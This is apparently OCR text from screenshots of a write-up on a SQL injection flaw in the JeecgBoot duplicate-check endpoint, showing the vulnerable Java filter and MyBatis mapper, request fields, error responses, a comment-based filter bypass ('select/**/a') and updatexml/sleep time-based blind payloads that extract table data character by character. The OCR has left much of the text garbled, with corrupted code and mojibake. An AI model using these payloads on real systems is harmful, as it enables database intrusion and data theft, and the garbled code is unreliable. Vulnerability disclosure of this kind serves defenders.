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Error querying database
+

ery returns nore than 1 romn### The error may exist in file [/Use

xnl/SysDictMapper. xal J\n### The error may involve org. jeecg.module
SQL: SELECT COUNT(*) FROM sys_log WHERE updatexnl(1, (SELECT if(length(\"aco\") > 5

Subguery returns more thon 1 ro\n; bad SQL gramar (1 nested exception is jova.sql.SQLException: Subquery re
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Result<String> c vietRequest
Long num =

.info( + dupli

String[] sqlInjCheck = {duplicateCheckVo.getTableName(),duplicateCheckVo.getFieldName()
sqlInjectionUtil.filterContknt(sqlInjEheck)

(StringUtils.isEmpty(duplicateCheckVo.getFieldval())){
Result rs = Result()
s.setCode(

etSuccess(

String checkSql = duplicateCheckVo.getTableName() + SymbolConstant. + duplicateCheckVo.getFieldName() + SymbolConstant.
.isPass(checksql)){
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® x-www-form-urlencoded form-data raw

SHER SHE

datald '2000aa

fieldName selecta

fieldVal a

tableName sys_log

WEAE Raw Headers Curl

1=K

2 "success": false,

3 "message": "IRIEXM, WEE, EAMKFESQIEANRNMR!--->select a",
4 "code": 500,

5 "result": null,

6 "timestamp": 1666602457690

7 1}
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x-www-form-urlencoded form-data raw
BBER SBE
datald 2000aa
fieldName select/**/a
fieldVal a
tableName sys_log
WERE Raw Cur g
L=/
2 | "success™: false, Tt
3 | "message”: "H{E%M, nested exception is org.apache.ibatis.exceptions.Persistéricefstéption: \n### Error querying database. Cause: com.baomidou.mybatisplus.core.exceptions.MybatisPlusException
: Failed to process, Error SQL: SELECT COUNT(*) FROM sys_log WHERE select/**/a = ? and id < ?\n### Cause: com.baomidou.mybatisplus.core.exceptions.MybatisPlusException: Failed to process,
Error SQL: SELECT COUNT(*) FROM sys_log WHERE select/**/a = ? and id < 7",
4| "code": 500,
5 | "result’: null, 3 SR
6 | “timestomp": 1666602483931
7|}

ET RIS A payload

updatexmi(1,(select/**/if(length("aaa")>5,1,sleep(10)) union select/**/1),1)

AREPE sleep 107 , RZBBE<TE
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TEBRAIZFHEN jeecg-boot.v3_hello § create_by
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updatexml(1,(select/*+/if(substr(( select create_by from v3_hello limit 0,1),1,1)="b",1,sleep(10))

union select/*+/1),1)

XANEFEIR 10s

updatexml(1,(select/*+/if(substr(( select create_by from v3_hello limit 0,1),1,1)="a",1,sleep(10))
union select/*+/1),1)

XM EEIRO

BE I, Select EEMNTIEAAE
B B B A TR iE

<select id ﬂ " resultType parameterType
SELECT COUNT(*) FROM ${tableName} WHERE ${fieldName} = #{fieldVall} and id #{dataId}
</select>
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SqlInjectionUtil.filterContent(sqlInjCheck)

(StringUtils.isEmpty(duplicateCheckVo.getFieldVal())){
Result rs = Result()
rs.setCode(500)
rs.setSuccess(
rs.setMessage(

rs

String Sql = duplicateCheckVo.getTableName() + SymbolConstant. + duplicateCheckVo.getFieldName() + SymbolConst3
(¢ .isPass(ch

Result.error(

(StringUtils.isNotBlank(duplicateCheckVo.getDataId())) {

. duptieatetheektountSgt(duplicateCheckVo)

. duptieateCheektountSqgthebatatd(duplicateCheckVo)




